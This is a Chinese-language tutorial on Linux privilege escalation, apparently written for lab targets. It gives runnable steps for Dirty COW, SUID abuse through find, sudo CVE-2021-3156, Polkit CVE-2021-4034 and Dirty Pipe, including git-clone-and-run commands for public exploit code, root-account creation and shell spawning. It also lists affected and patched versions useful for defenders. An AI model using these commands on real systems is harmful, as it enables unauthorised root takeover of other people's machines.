Linux提权
概述
Linux安装好系统后里面自带的软件或内核存在的漏洞,比较流行的有“脏牛提权” Linux内核提权跟Windows一样,都要下载对应漏洞的脚本进行提权
Linux内核提权
linux提权步骤
1.进行基础信息收集
uname -a #打印所有可用的系统信息
uname -r #内核版本
uname -n #系统主机名。
uname -m #查看系统内核架构(64位/32位)
hostname #系统主机名
cat/proc/version #内核信息
cat/etc/*-release #分发信息
cat/etc/issue #分发信息
cat /proc/cpuinfo #CPU信息
cat /etc/1sb-release # Debian I
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
2.查找相关版本的内核漏洞
exp搜索链接:https://www.exploit-db.com/ (kali自带命令:searchsploit)
exp下载链接:https://github.com/SecWiki/linux-kernel-exploits(该链接中收集了大部分Linux系统cve漏洞的exp,在readme中有受影响的内核版本和使用方法)
3.使用exp,利用漏洞进行提权
ubuntu14脏牛提权
要注意的是执行完脚本后服务器可能会挂
系统信息
蚁剑连接靶机,将dirty.c要编译的文件放在/var/tmp
目录下
查看一下dirty.c文件中的说明,执行以下命令
gcc -pthread dirty.c -o dirty -lcrypt
运行脚本,并设置新增管理账号密码为Admin@22,查看/etc/passwd,发现有新增的firefart管理用户,使用该账户直接ssh登录即可
./dirty Admin@22
centos6脏牛提权
蚁剑连接,上传脏牛提权文件dirty.c
msf反弹shell
python获得一个交互式shell(防止ssh不能连接,交互式shell可以通过su命令拿到管理员的shell)
python -c "import pty;pty.spawn('/bin/bash')"
编译dirty.c文件,然后执行编译后的dirty脚本,并设置管理密码为Admin@22。接着利用交互式shell的su命令登录firefart用户
SUID 提权
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。
通俗的来讲,假设我们现在有一个可执行文件ls
,其属主为root,当我们通过非root用户登录时,如果ls
设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
设置SUID
chmod u+s filename #设置SUID位
chmod u-s filename #去掉SUID设置
常见的可用来提权的Linux 可执行文件有:
nmap、vim、find、bash、more、less、nano、cp、awk
查看可以suid 提权的可执行文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
- find
# ls -la /usr/bin/find
-rwsr-sr-x. 1 root root 199304 Oct 31 2018 /usr/bin/find
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
bash-4.2$ touch 456
bash-4.2$ find / -type f -name 456 -exec "whoami" \;
root
bash-4.2$ find . -exec /bin/sh -p \; -quit
sh-4.2# whoami
root
辅助网站:https://gtfobins.github.io/ (可提权的二进制文件 各种命令的各种用法)
Sudo 提权(CVE-2021-3156)
概述
当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。(存在十年之久)
影响版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
查看sudo版本
命令:sudo --version
以非 root 用户登录系统,并使用命令 sudoedit -s /
- 如果响应一个以
sudoedit:
开头的报错,那么表明存在漏洞。 - 如果响应一个以
usage:
开头的报错,那么表明补丁已经生效。
exp地址:https://github.com/blasty/CVE-2021-3156
exp可用与18.04 20.04.1 debian10
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich
根据操作系统发行版本选择不同的id即可提权
Polkit提权(CVE-2021-4034)
漏洞描述:该漏洞是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。
受影响linux:
2009年5月至 2022 年1月26日发布的所有Polkit 版本 Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。
版本检测:
Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:
CentOS、RedHat 系列:
rpm -qa polkit
Debian、Ubuntu 系列:
dpkg -l policykit-1
不受影响版本
CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞复现:
Ubuntu复现
exp:https://github.com/berdav/CVE-2021-4034
1.复现环境:
操作系统:Linux VM-0-5-ubuntu 5.4.0-88-generic x86_64 x86_64 x86_64 GNU/Linux
;
ubuntu 20.04.4/pkexec版本:0.105
2.漏洞提权触发:
(1)本地普通用户权限:ubuntu权限
id
(2)执行exp提权root
make
./exploit
id
CentOS7 复现
exp:https://github.com/arthepsy/CVE-2021-4034.git
Dirty Pipe 提权 (CVE-2022-0847)
漏洞描述 CVE-2022-0847-DirtyPipe-Exploit 存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件(甚至是只读文件)中的数据,从而可将普通权限的用户提升到root权限
CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用,漏洞作者将此漏洞命名为Dirty Pipe
影响版本 影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
复现环境:Linux kali 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
exp:https://github.com/imfiver/CVE-2022-0847.git
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh